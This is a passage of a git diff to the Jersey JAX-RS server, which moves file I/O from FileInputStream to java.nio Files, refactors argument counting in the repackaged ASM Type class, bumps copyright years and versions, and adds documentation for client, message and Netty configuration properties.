+    final Label label;
+
+    /**
+     * Another entry (and so on recursively) having the same hash code (modulo the size of {@link
+     * SymbolTable#labelEntries}}) as this one.
+     */
+    LabelEntry next;
+
+    LabelEntry(final int index, final Label label) {
+      this.index = index;
+      this.label = label;
+    }
+  }
 }
diff --git a/core-server/src/main/java/jersey/repackaged/org/objectweb/asm/Type.java b/core-server/src/main/java/jersey/repackaged/org/objectweb/asm/Type.java
index 6808aba..e43b7a9 100644
--- a/core-server/src/main/java/jersey/repackaged/org/objectweb/asm/Type.java
+++ b/core-server/src/main/java/jersey/repackaged/org/objectweb/asm/Type.java
@@ -295,26 +295,12 @@
    */
   public static Type[] getArgumentTypes(final String methodDescriptor) {
     // First step: compute the number of argument types in methodDescriptor.
-    int numArgumentTypes = 0;
-    // Skip the first character, which is always a '('.
-    int currentOffset = 1;
-    // Parse the argument types, one at a each loop iteration.
-    while (methodDescriptor.charAt(currentOffset) != ')') {
-      while (methodDescriptor.charAt(currentOffset) == '[') {
-        currentOffset++;
-      }
-      if (methodDescriptor.charAt(currentOffset++) == 'L') {
-        // Skip the argument descriptor content.
-        int semiColumnOffset = methodDescriptor.indexOf(';', currentOffset);
-        currentOffset = Math.max(currentOffset, semiColumnOffset + 1);
-      }
-      ++numArgumentTypes;
-    }
+    int numArgumentTypes = getArgumentCount(methodDescriptor);
 
     // Second step: create a Type instance for each argument type.
     Type[] argumentTypes = new Type[numArgumentTypes];
     // Skip the first character, which is always a '('.
-    currentOffset = 1;
+    int currentOffset = 1;
     // Parse and create the argument types, one at each loop iteration.
     int currentArgumentTypeIndex = 0;
     while (methodDescriptor.charAt(currentOffset) != ')') {
@@ -703,13 +689,51 @@
   }
 
   /**
+   * Returns the number of arguments of this method type. This method should only be used for method
+   * types.
+   *
+   * @return the number of arguments of this method type. Each argument counts for 1, even long and
+   *     double ones. The implicit @literal{this} argument is not counted.
+   */
+  public int getArgumentCount() {
+    return getArgumentCount(getDescriptor());
+  }
+
+  /**
+   * Returns the number of arguments in the given method descriptor.
+   *
+   * @param methodDescriptor a method descriptor.
+   * @return the number of arguments in the given method descriptor. Each argument counts for 1,
+   *     even long and double ones. The implicit @literal{this} argument is not counted.
+   */
+  public static int getArgumentCount(final String methodDescriptor) {
+    int argumentCount = 0;
+    // Skip the first character, which is always a '('.
+    int currentOffset = 1;
+    // Parse the argument types, one at a each loop iteration.
+    while (methodDescriptor.charAt(currentOffset) != ')') {
+      while (methodDescriptor.charAt(currentOffset) == '[') {
+        currentOffset++;
+      }
+      if (methodDescriptor.charAt(currentOffset++) == 'L') {
+        // Skip the argument descriptor content.
+        int semiColumnOffset = methodDescriptor.indexOf(';', currentOffset);
+        currentOffset = Math.max(currentOffset, semiColumnOffset + 1);
+      }
+      ++argumentCount;
+    }
+    return argumentCount;
+  }
+
+  /**
    * Returns the size of the arguments and of the return value of methods of this type. This method
    * should only be used for method types.
    *
    * @return the size of the arguments of the method (plus one for the implicit this argument),
    *     argumentsSize, and the size of its return value, returnSize, packed into a single int i =
    *     {@code (argumentsSize &lt;&lt; 2) | returnSize} (argumentsSize is therefore equal to {@code
-   *     i &gt;&gt; 2}, and returnSize to {@code i &amp; 0x03}).
+   *     i &gt;&gt; 2}, and returnSize to {@code i &amp; 0x03}). Long and double values have size 2,
+   *     the others have size 1.
    */
   public int getArgumentsAndReturnSizes() {
     return getArgumentsAndReturnSizes(getDescriptor());
@@ -722,7 +746,8 @@
    * @return the size of the arguments of the method (plus one for the implicit this argument),
    *     argumentsSize, and the size of its return value, returnSize, packed into a single int i =
    *     {@code (argumentsSize &lt;&lt; 2) | returnSize} (argumentsSize is therefore equal to {@code
-   *     i &gt;&gt; 2}, and returnSize to {@code i &amp; 0x03}).
+   *     i &gt;&gt; 2}, and returnSize to {@code i &amp; 0x03}). Long and double values have size 2,
+   *     the others have size 1.
    */
   public static int getArgumentsAndReturnSizes(final String methodDescriptor) {
     int argumentsSize = 1;
diff --git a/core-server/src/main/java/org/glassfish/jersey/server/ContainerRequest.java b/core-server/src/main/java/org/glassfish/jersey/server/ContainerRequest.java
index a91521d..3105c2f 100644
--- a/core-server/src/main/java/org/glassfish/jersey/server/ContainerRequest.java
+++ b/core-server/src/main/java/org/glassfish/jersey/server/ContainerRequest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2012, 2021 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2012, 2023 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -38,7 +38,6 @@
 import jakarta.ws.rs.core.Configuration;
 import jakarta.ws.rs.core.Cookie;
 import jakarta.ws.rs.core.EntityTag;
-import jakarta.ws.rs.core.HttpHeaders;
 import jakarta.ws.rs.core.MediaType;
 import jakarta.ws.rs.core.MultivaluedMap;
 import jakarta.ws.rs.core.Request;
@@ -48,6 +47,7 @@
 import jakarta.ws.rs.ext.ReaderInterceptor;
 import jakarta.ws.rs.ext.WriterInterceptor;
 
+import org.glassfish.jersey.http.HttpHeaders;
 import org.glassfish.jersey.internal.PropertiesDelegate;
 import org.glassfish.jersey.internal.guava.Preconditions;
 import org.glassfish.jersey.internal.PropertiesResolver;
diff --git a/core-server/src/main/java/org/glassfish/jersey/server/internal/scanning/AnnotationAcceptingListener.java b/core-server/src/main/java/org/glassfish/jersey/server/internal/scanning/AnnotationAcceptingListener.java
index 7505b0c..7e9db27 100644
--- a/core-server/src/main/java/org/glassfish/jersey/server/internal/scanning/AnnotationAcceptingListener.java
+++ b/core-server/src/main/java/org/glassfish/jersey/server/internal/scanning/AnnotationAcceptingListener.java
@@ -309,7 +309,7 @@
 
     private static class ClassReaderWrapper {
         private static final Logger LOGGER = Logger.getLogger(ClassReader.class.getName());
-        private static final int WARN_VERSION = Opcodes.V21;
+        private static final int WARN_VERSION = Opcodes.V22;
         private static final int INPUT_STREAM_DATA_CHUNK_SIZE = 4096;
 
         private final byte[] b;
diff --git a/core-server/src/main/java/org/glassfish/jersey/server/internal/scanning/FileSchemeResourceFinderFactory.java b/core-server/src/main/java/org/glassfish/jersey/server/internal/scanning/FileSchemeResourceFinderFactory.java
index f767d5b..2d003f3 100644
--- a/core-server/src/main/java/org/glassfish/jersey/server/internal/scanning/FileSchemeResourceFinderFactory.java
+++ b/core-server/src/main/java/org/glassfish/jersey/server/internal/scanning/FileSchemeResourceFinderFactory.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2012, 2018 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2012, 2023 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -17,10 +17,10 @@
 package org.glassfish.jersey.server.internal.scanning;
 
 import java.io.File;
-import java.io.FileInputStream;
-import java.io.FileNotFoundException;
 import java.io.InputStream;
+import java.io.IOException;
 import java.net.URI;
+import java.nio.file.Files;
 import java.util.Collections;
 import java.util.NoSuchElementException;
 import java.util.Set;
@@ -140,8 +140,8 @@
                 @Override
                 public InputStream open() {
                     try {
-                        return new FileInputStream(current);
-                    } catch (final FileNotFoundException e) {
+                        return Files.newInputStream(current.toPath());
+                    } catch (final IOException e) {
                         throw new ResourceFinderException(e);
                     }
                 }
diff --git a/core-server/src/main/java/org/glassfish/jersey/server/internal/scanning/FilesScanner.java b/core-server/src/main/java/org/glassfish/jersey/server/internal/scanning/FilesScanner.java
index 2fd9332..a8ed8c6 100644
--- a/core-server/src/main/java/org/glassfish/jersey/server/internal/scanning/FilesScanner.java
+++ b/core-server/src/main/java/org/glassfish/jersey/server/internal/scanning/FilesScanner.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2012, 2018 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2012, 2023 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -17,10 +17,9 @@
 package org.glassfish.jersey.server.internal.scanning;
 
 import java.io.File;
-import java.io.FileInputStream;
-import java.io.FileNotFoundException;
 import java.io.IOException;
 import java.io.InputStream;
+import java.nio.file.Files;
 import java.util.NoSuchElementException;
 import java.util.Stack;
 
@@ -60,7 +59,7 @@
     private void processFile(final File f) {
         if (f.getName().endsWith(".jar") || f.getName().endsWith(".zip")) {
             try {
-                compositeResourceFinder.push(new JarFileScanner(new FileInputStream(f), "", true));
+                compositeResourceFinder.push(new JarFileScanner(Files.newInputStream(f.toPath()), "", true));
             } catch (final IOException e) {
                 // logging might be sufficient in this case
                 throw new ResourceFinderException(e);
@@ -117,8 +116,8 @@
                 @Override
                 public InputStream open() {
                     try {
-                        return new FileInputStream(current);
-                    } catch (final FileNotFoundException e) {
+                        return Files.newInputStream(current.toPath());
+                    } catch (final IOException e) {
                         throw new ResourceFinderException(e);
                     }
                 }
diff --git a/core-server/src/main/java/org/glassfish/jersey/server/internal/scanning/JarZipSchemeResourceFinderFactory.java b/core-server/src/main/java/org/glassfish/jersey/server/internal/scanning/JarZipSchemeResourceFinderFactory.java
index 2fff9a7..aa2874e 100644
--- a/core-server/src/main/java/org/glassfish/jersey/server/internal/scanning/JarZipSchemeResourceFinderFactory.java
+++ b/core-server/src/main/java/org/glassfish/jersey/server/internal/scanning/JarZipSchemeResourceFinderFactory.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2012, 2018 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2012, 2023 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -16,12 +16,13 @@
 
 package org.glassfish.jersey.server.internal.scanning;
 
-import java.io.FileInputStream;
+import java.io.File;
 import java.io.IOException;
 import java.io.InputStream;
 import java.net.MalformedURLException;
 import java.net.URI;
 import java.net.URL;
+import java.nio.file.Files;
 import java.util.Arrays;
 import java.util.Collections;
 import java.util.HashSet;
@@ -140,7 +141,7 @@
      * if that fails with a {@link java.net.MalformedURLException} then the method will
      * attempt to create a {@link InputStream} instance as follows:
      * <pre>
-     *  return new new FileInputStream(
+     *  return Files.newInputStream(
      *      UriComponent.decode(jarUrlString, UriComponent.Type.PATH)));
      * </pre>
      *
@@ -153,8 +154,8 @@
         try {
             return new URL(jarUrlString).openStream();
         } catch (final MalformedURLException e) {
-            return new FileInputStream(
-                    UriComponent.decode(jarUrlString, UriComponent.Type.PATH));
+            return Files.newInputStream(
+                    new File(UriComponent.decode(jarUrlString, UriComponent.Type.PATH)).toPath());
         }
     }
 }
diff --git a/core-server/src/main/java/org/glassfish/jersey/server/wadl/internal/generators/WadlGeneratorApplicationDoc.java b/core-server/src/main/java/org/glassfish/jersey/server/wadl/internal/generators/WadlGeneratorApplicationDoc.java
index 7bb2cf3..250e30b 100644
--- a/core-server/src/main/java/org/glassfish/jersey/server/wadl/internal/generators/WadlGeneratorApplicationDoc.java
+++ b/core-server/src/main/java/org/glassfish/jersey/server/wadl/internal/generators/WadlGeneratorApplicationDoc.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2010, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2010, 2023 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -17,8 +17,8 @@
 package org.glassfish.jersey.server.wadl.internal.generators;
 
 import java.io.File;
-import java.io.FileInputStream;
 import java.io.InputStream;
+import java.nio.file.Files;
 import java.util.List;
 
 import jakarta.ws.rs.core.Context;
@@ -103,7 +103,7 @@
 
         InputStream inputStream;
         if (_applicationDocsFile != null) {
-            inputStream = new FileInputStream(_applicationDocsFile);
+            inputStream = Files.newInputStream(_applicationDocsFile.toPath());
         } else {
             inputStream = _applicationDocsStream;
         }
diff --git a/core-server/src/main/java/org/glassfish/jersey/server/wadl/internal/generators/WadlGeneratorGrammarsSupport.java b/core-server/src/main/java/org/glassfish/jersey/server/wadl/internal/generators/WadlGeneratorGrammarsSupport.java
index 64568db..79d3a5b 100644
--- a/core-server/src/main/java/org/glassfish/jersey/server/wadl/internal/generators/WadlGeneratorGrammarsSupport.java
+++ b/core-server/src/main/java/org/glassfish/jersey/server/wadl/internal/generators/WadlGeneratorGrammarsSupport.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2010, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2010, 2023 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -17,8 +17,8 @@
 package org.glassfish.jersey.server.wadl.internal.generators;
 
 import java.io.File;
-import java.io.FileInputStream;
 import java.io.InputStream;
+import java.nio.file.Files;
 import java.util.List;
 import java.util.logging.Logger;
 
@@ -116,7 +116,7 @@
                     + " is set, one of both is required.");
         }
         _delegate.init();
-        _grammars = WadlUtils.unmarshall(_grammarsFile != null ? new FileInputStream(_grammarsFile) : _grammarsStream,
+        _grammars = WadlUtils.unmarshall(_grammarsFile != null ? Files.newInputStream(_grammarsFile.toPath()) : _grammarsStream,
                 saxFactoryProvider.get(), Grammars.class);
     }
 
diff --git a/core-server/src/main/java/org/glassfish/jersey/server/wadl/internal/generators/resourcedoc/WadlGeneratorResourceDocSupport.java b/core-server/src/main/java/org/glassfish/jersey/server/wadl/internal/generators/resourcedoc/WadlGeneratorResourceDocSupport.java
index 85f1027..8855b11 100644
--- a/core-server/src/main/java/org/glassfish/jersey/server/wadl/internal/generators/resourcedoc/WadlGeneratorResourceDocSupport.java
+++ b/core-server/src/main/java/org/glassfish/jersey/server/wadl/internal/generators/resourcedoc/WadlGeneratorResourceDocSupport.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2010, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2010, 2023 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -17,8 +17,8 @@
 package org.glassfish.jersey.server.wadl.internal.generators.resourcedoc;
 
 import java.io.File;
-import java.io.FileInputStream;
 import java.io.InputStream;
+import java.nio.file.Files;
 import java.util.ArrayList;
 import java.util.List;
 
@@ -128,7 +128,8 @@
         }
         delegate.init();
 
-        try (final InputStream inputStream = resourceDocFile != null ? new FileInputStream(resourceDocFile) : resourceDocStream) {
+        try (final InputStream inputStream = resourceDocFile != null ? Files.newInputStream(resourceDocFile.toPath())
+                : resourceDocStream) {
             final ResourceDocType resourceDocType =
                     WadlUtils.unmarshall(inputStream, saxFactoryProvider.get(), ResourceDocType.class);
             resourceDoc = new ResourceDocAccessor(resourceDocType);
diff --git a/core-server/src/main/resources/META-INF/NOTICE.markdown b/core-server/src/main/resources/META-INF/NOTICE.markdown
index 00b8fa0..92d64be 100644
--- a/core-server/src/main/resources/META-INF/NOTICE.markdown
+++ b/core-server/src/main/resources/META-INF/NOTICE.markdown
@@ -36,7 +36,7 @@
 * Copyright (c) 2015-2018 Oracle and/or its affiliates. All rights reserved.

 * Copyright 2010-2013 Coda Hale and Yammer, Inc.

 

-org.objectweb.asm Version 9.5

+org.objectweb.asm Version 9.6

 * License: Modified BSD (https://asm.ow2.io/license.html)

 * Copyright: (c) 2000-2011 INRIA, France Telecom. All rights reserved.

 

diff --git a/core-server/src/main/resources/META-INF/native-image/org.glassfish.jersey.core/jersey-server/reflect-config.json b/core-server/src/main/resources/META-INF/native-image/org.glassfish.jersey.core/jersey-server/reflect-config.json
index f013c36..a56bb98 100644
--- a/core-server/src/main/resources/META-INF/native-image/org.glassfish.jersey.core/jersey-server/reflect-config.json
+++ b/core-server/src/main/resources/META-INF/native-image/org.glassfish.jersey.core/jersey-server/reflect-config.json
@@ -44,6 +44,30 @@
     "allDeclaredConstructors":true
   },
   {
+    "name": "org.glassfish.jersey.server.internal.inject.FormParamValueParamProvider",
+    "allDeclaredFields":true,
+    "allDeclaredMethods":true,
+    "allPublicMethods":true,
+    "allDeclaredConstructors":true,
+    "allPublicConstructors":true
+  },
+  {
+    "name": "org.glassfish.jersey.server.internal.inject.FormParamValueParamProvider$MultipartFormParamValueProvider",
+    "allDeclaredFields":true,
+    "allDeclaredMethods":true,
+    "allPublicMethods":true,
+    "allDeclaredConstructors":true,
+    "allPublicConstructors":true
+  },
+  {
+    "name": "org.glassfish.jersey.server.internal.inject.FormParamValueParamProvider$MultipartFormParamValueProvider$FormParamHolder",
+    "allDeclaredFields":true,
+    "allDeclaredMethods":true,
+    "allPublicMethods":true,
+    "allDeclaredConstructors":true,
+    "allPublicConstructors":true
+  },
+  {
     "name":"org.glassfish.jersey.server.internal.monitoring.MonitoringAutodiscoverable",
     "allDeclaredFields":true,
     "allDeclaredMethods":true,
diff --git a/core-server/src/test/java/org/glassfish/jersey/server/JarUtils.java b/core-server/src/test/java/org/glassfish/jersey/server/JarUtils.java
index 8db4a2b..50a5402 100644
--- a/core-server/src/test/java/org/glassfish/jersey/server/JarUtils.java
+++ b/core-server/src/test/java/org/glassfish/jersey/server/JarUtils.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2014, 2018 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2014, 2023 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -19,10 +19,9 @@
 import java.io.BufferedInputStream;
 import java.io.BufferedOutputStream;
 import java.io.File;
-import java.io.FileInputStream;
-import java.io.FileOutputStream;
 import java.io.IOException;
 import java.io.InputStream;
+import java.nio.file.Files;
 import java.util.HashMap;
 import java.util.HashSet;
 import java.util.Map;
@@ -71,7 +70,7 @@
         tempJar.deleteOnExit();
         final JarOutputStream jos = new JarOutputStream(
                 new BufferedOutputStream(
-                        new FileOutputStream(tempJar)), new Manifest());
+                        Files.newOutputStream(tempJar.toPath())), new Manifest());
 
         final Set<String> usedSegments = new HashSet<String>();
         for (final Map.Entry<String, String> entry : entries.entrySet()) {
@@ -90,7 +89,7 @@
             jos.putNextEntry(e);
 
             final InputStream f = new BufferedInputStream(
-                    new FileInputStream(base + entry.getKey()));
+                    Files.newInputStream(new File(base, entry.getKey()).toPath()));
             final byte[] buf = new byte[1024];
             int read = 1024;
             while ((read = f.read(buf, 0, read)) != -1) {
diff --git a/core-server/src/test/java/org/glassfish/jersey/server/internal/scanning/JarFileScannerTest.java b/core-server/src/test/java/org/glassfish/jersey/server/internal/scanning/JarFileScannerTest.java
index f9463e8..bdceaa1 100644
--- a/core-server/src/test/java/org/glassfish/jersey/server/internal/scanning/JarFileScannerTest.java
+++ b/core-server/src/test/java/org/glassfish/jersey/server/internal/scanning/JarFileScannerTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2012, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2012, 2023 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -16,9 +16,10 @@
 
 package org.glassfish.jersey.server.internal.scanning;
 
-import java.io.FileInputStream;
 import java.io.IOException;
 import java.io.InputStream;
+import java.nio.file.Files;
+import java.nio.file.Paths;
 import java.util.Enumeration;
 import java.util.jar.JarEntry;
 import java.util.jar.JarFile;
@@ -113,7 +114,7 @@
     private int countJarEntriesUsingScanner(final String parent, final boolean recursive) throws IOException {
         int scannedEntryCount = 0;
 
-        try (final InputStream jaxRsApi = new FileInputStream(this.jaxRsApiPath)) {
+        try (final InputStream jaxRsApi = Files.newInputStream(Paths.get(this.jaxRsApiPath))) {
             final JarFileScanner jarFileScanner = new JarFileScanner(jaxRsApi, parent, recursive);
             while (jarFileScanner.hasNext()) {
                 // Fetch next entry.
@@ -135,7 +136,7 @@
     @ParameterizedTest
     @ValueSource(booleans = {true, false})
     public void testClassEnumerationWithNonexistentPackage(final boolean recursive) throws IOException {
-        try (final InputStream jaxRsApi = new FileInputStream(this.jaxRsApiPath)) {
+        try (final InputStream jaxRsApi = Files.newInputStream(Paths.get(this.jaxRsApiPath))) {
             final JarFileScanner jarFileScanner = new JarFileScanner(jaxRsApi, "jakarta/ws/r", recursive);
             assertFalse(jarFileScanner.hasNext(), "Unexpectedly found package 'jakarta.ws.r' in jakarta.ws.rs-api");
         }
@@ -144,7 +145,7 @@
     @ParameterizedTest
     @ValueSource(booleans = {true, false})
     public void testClassEnumerationWithClassPrefix(final boolean recursive) throws IOException {
-        try (final InputStream jaxRsApi = new FileInputStream(this.jaxRsApiPath)) {
+        try (final InputStream jaxRsApi = Files.newInputStream(Paths.get(this.jaxRsApiPath))) {
             final JarFileScanner jarFileScanner = new JarFileScanner(jaxRsApi, "jakarta/ws/rs/GE", recursive);
             assertFalse(jarFileScanner.hasNext(), "Unexpectedly found package 'jakarta.ws.rs.GE' in jakarta.ws.rs-api");
         }
diff --git a/core-server/src/test/java/org/glassfish/jersey/server/wadl/config/WadlGeneratorLoaderTest.java b/core-server/src/test/java/org/glassfish/jersey/server/wadl/config/WadlGeneratorLoaderTest.java
index 85589d3..28fce64 100644
--- a/core-server/src/test/java/org/glassfish/jersey/server/wadl/config/WadlGeneratorLoaderTest.java
+++ b/core-server/src/test/java/org/glassfish/jersey/server/wadl/config/WadlGeneratorLoaderTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2012, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2012, 2023 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -21,11 +21,11 @@
 package org.glassfish.jersey.server.wadl.config;
 
 import java.io.File;
-import java.io.FileOutputStream;
 import java.io.IOException;
 import java.io.InputStream;
 import java.io.OutputStream;
 import java.net.URL;
+import java.nio.file.Files;
 import java.util.List;
 import java.util.Properties;
 
@@ -155,7 +155,7 @@
             /*
             try {
                 System.out.println( "listing file " + _testFileContent.getName() );
-                BufferedReader in = new BufferedReader( new FileReader( _testFileContent ) );
+                BufferedReader in = Files.newBufferedReader( _testFileContent.toPath() );
                 String line = null;
                 while ( (line = in.readLine()) != null ) {
                     System.out.println( line );
@@ -172,7 +172,7 @@
                 _testStreamContent = File.createTempFile("testfile-" + getClass().getSimpleName(), null);
                 OutputStream to = null;
                 try {
-                    to = new FileOutputStream(_testStreamContent);
+                    to = Files.newOutputStream(_testStreamContent.toPath());
                     byte[] buffer = new byte[4096];
                     int bytes_read;
                     while ((bytes_read = _testStream.read(buffer)) != -1) {
diff --git a/docs/pom.xml b/docs/pom.xml
index e3bb3a6..f73f210 100644
--- a/docs/pom.xml
+++ b/docs/pom.xml
@@ -77,7 +77,7 @@
             <plugin>
                 <groupId>com.agilejava.docbkx</groupId>
                 <artifactId>docbkx-maven-plugin</artifactId>
-                <version>2.0.15</version>
+                <version>2.0.17</version>
                 <dependencies>
                     <dependency>
                         <groupId>net.sf.docbook</groupId>
diff --git a/docs/src/main/docbook/appendix-properties.xml b/docs/src/main/docbook/appendix-properties.xml
index b39bd63..9e7dc27 100644
--- a/docs/src/main/docbook/appendix-properties.xml
+++ b/docs/src/main/docbook/appendix-properties.xml
@@ -976,7 +976,7 @@
                             <para>
                                 Property for threshold size for content length after which Expect:100-Continue header would be applied
                                 before the main request.
-                                Default threshold size (64kb) after which which Expect:100-Continue header would be applied before
+                                Default threshold size (64kb) after which Expect:100-Continue header would be applied before
                                 the main request.
                                 <literal>Since 2.32</literal>
                             </para>
@@ -1112,6 +1112,21 @@
                         </entry>
                     </row>
                     <row>
+                        <entry>&jersey.client.ClientProperties.SSL_CONTEXT_SUPPLIER;</entry>
+                        <entry><literal>jersey.config.client.ssl.context.supplier</literal></entry>
+                        <entry>
+                            <para>
+                                The <literal>javax.net.ssl.SSLContext java.util.function.Supplier</literal> to be used to set ssl
+                                context in the current HTTP request. Has precedence over the
+                                <literal>Client#getSslContext()</literal>.
+                            </para>
+                            <para>
+                                Currently supported by the default <literal>HttpUrlConnector</literal> and by
+                                <literal>NettyConnector</literal> only.
+                            </para>
+                        </entry>
+                    </row>
+                    <row>
                         <entry>&jersey.client.ClientProperties.USE_ENCODING;</entry>
                         <entry><literal>jersey.config.client.useEncoding</literal></entry>
                         <entry>
@@ -1195,6 +1210,118 @@
             </tgroup>
         </table>
     </section>
+    <section xml:id="appendix-properties-message">
+        <title>Jersey configuration properties for message &amp; entity processing</title>
+
+        <para>
+            List of client configuration properties that can be found in &jersey.message.MessageProperties; class.
+        </para>
+
+        <table>
+            <title>List of Apache HTTP client configuration properties</title>
+            <tgroup cols="3">
+                <thead>
+                    <row>
+                        <entry>Constant</entry>
+                        <entry>Value</entry>
+                        <entry>Description</entry>
+                    </row>
+                </thead>
+                <tbody>
+                    <row>
+                        <entry>&jersey.message.MessageProperties.DEFLATE_WITHOUT_ZLIB;</entry>
+                        <entry><literal>jersey.config.deflate.nozlib</literal></entry>
+                        <entry>
+                            <para>
+                                If set to &lit.true;, <literal>DeflateEncoder deflate encoding interceptor</literal> will use non-standard version
+                                of the deflate content encoding, skipping the zlib wrapper. Unfortunately, deflate encoding
+                                implementations in some products use this non-compliant version, hence the switch.
+                            </para>
+                            <para>
+                                The default value is &lit.false;.
+                            </para>
+                        </entry>
+                    </row>
+                    <row>
+                        <entry>&jersey.message.MessageProperties.IO_BUFFER_SIZE;</entry>
+                        <entry><literal>jersey.config.io.bufferSize</literal></entry>
+                        <entry>
+                            <para>
+                                Value of the property indicates the buffer size to be used for I/O operations
+                                on byte and character streams. The property value is expected to be a positive
+                                integer otherwise it will be ignored.
+                            </para>
+                            <para>
+                                The default value is value of &jersey.message.MessageProperties.IO_DEFAULT_BUFFER_SIZE;.
+                            </para>
+                        </entry>
+                    </row>
+                    <row>
+                        <entry>&jersey.message.MessageProperties.JAXB_PROCESS_XML_ROOT_ELEMENT;</entry>
+                        <entry><literal>jersey.config.jaxb.collections.processXmlRootElement</literal></entry>
+                        <entry>
+                            <para>
+                                If set to &lit.true; then XML root element tag name for collections will
+                                be derived from <literal>javax.xml.bind.annotation.XmlRootElement</literal>
+                                annotation value and won't be de-capitalized.
+                            </para>
+                            <para>
+                                The default value is &lit.false;.
+                            </para>
+                        </entry>
+                    </row>
+                    <row>
+                        <entry>&jersey.message.MessageProperties.JSON_MAX_STRING_LENGTH;</entry>
+                        <entry><literal>jersey.config.json.string.length</literal></entry>
+                        <entry>
+                            <para>
+                                The default value is not set and the JSON provider default maximum value is used.
+                            </para>
+                            <para>
+                                If supported by Jackson provider, the default value can differ for each Jackson version. For instance,
+                                Jackson 2.14 does not support this setting and the default value is <literal>Integer#MAX_VALUE</literal>,
+                                Jackson 2.15.0 has the default value 5_000_000, Jackson 2.15.2 has the default value 20_000_000.
+                            </para>
+                        </entry>
+                    </row>
+                    <row>
+                        <entry>&jersey.message.MessageProperties.XML_SECURITY_DISABLE;</entry>
+                        <entry><literal>jersey.config.xml.security.disable</literal></entry>
+                        <entry>
+                            <para>
+                                If set to &lit.true; XML security features when parsing XML documents will be
+                                disabled.
+                            </para>
+                            <para>
+                                The default value is &lit.false;.
+                            </para>
+                        </entry>
+                    </row>
+                    <row>
+                        <entry>&jersey.message.MessageProperties.XML_FORMAT_OUTPUT;</entry>
+                        <entry><literal>jersey.config.xml.formatOutput</literal></entry>
+                        <entry>
+                            <para>
+                                If set to &lit.true; indicates that produced XML output should be formatted
+                                if possible.
+                            </para>
+                            <para>
+                                A XML message entity written by a &jaxrs.ext.MessageBodyWriter;
+                                may be formatted for the purposes of human readability provided the respective
+                                &jaxrs.ext.MessageBodyWriter; supports XML output formatting. All JAXB-based message
+                                body writers support this property.
+                            </para>
+                            <para>
+                                The default value is &lit.false;.
+                            </para>
+                        </entry>
+                    </row>
+                </tbody>
+            </tgroup>
+        </table>
+
+
+    </section>
     <section xml:id="appendix-properties-client-apache">
         <title>Apache HTTP client configuration properties</title>
 
@@ -1899,6 +2026,19 @@
                 </thead>
                 <tbody>
                     <row>
+                        <entry>&jersey.netty.NettyClientProperties.FILTER_HEADERS_FOR_PROXY;</entry>
+                        <entry><literal>jersey.config.client.filter.headers.proxy</literal></entry>
+                        <entry>
+                            <para>
+                                Filter the HTTP headers for requests (CONNECT) towards the proxy except for
+                                <literal>PROXY</literal>-prefixed and <literal>HOST</literal> headers when &lit.true;.
+                            </para>
+                            <para>
+                                The default value is &lit.true; and the headers are filtered out.
+                            </para>
+                        </entry>
+                    </row>
+                    <row>
                         <entry>&jersey.netty.NettyClientProperties.IDLE_CONNECTION_PRUNE_TIMEOUT;</entry>
                         <entry><literal>jersey.config.client.idleConnectionPruneTimeout</literal></entry>
                         <entry>
@@ -1944,6 +2084,31 @@
                             </para>
                         </entry>
                     </row>
+                    <row>
+                        <entry>&jersey.netty.NettyClientProperties.PRESERVE_METHOD_ON_REDIRECT;</entry>
+                        <entry><literal>jersey.config.client.redirect.preserve.method</literal></entry>
+                        <entry>
+                            <para>
+                                Sets the HTTP POST method to be preserved on HTTP status 301 (MOVED PERMANENTLY) or status 302 (FOUND)
+                                when &lit.true; or redirected as GET when &lit.false;.
+                            </para>
+                            <para>
+                                The default value is &lit.true; and the HTTP POST request is not redirected as GET.
+                            </para>
+                        </entry>
+                    </row>
+                    <row>
+                        <entry>&jersey.netty.NettyClientProperties.EXPECT_100_CONTINUE_TIMEOUT;</entry>
+                        <entry><literal>jersey.config.client.request.expect.100.continue.timeout</literal></entry>
+                        <entry>
+                            <para>
+                                This timeout is used for waiting for 100-Continue response when 100-Continue
+                                is sent by the client.
+                                Default timeout value is 500 ms after which Expect:100-Continue feature is ignored.
+                                <literal>Since 2.41</literal>
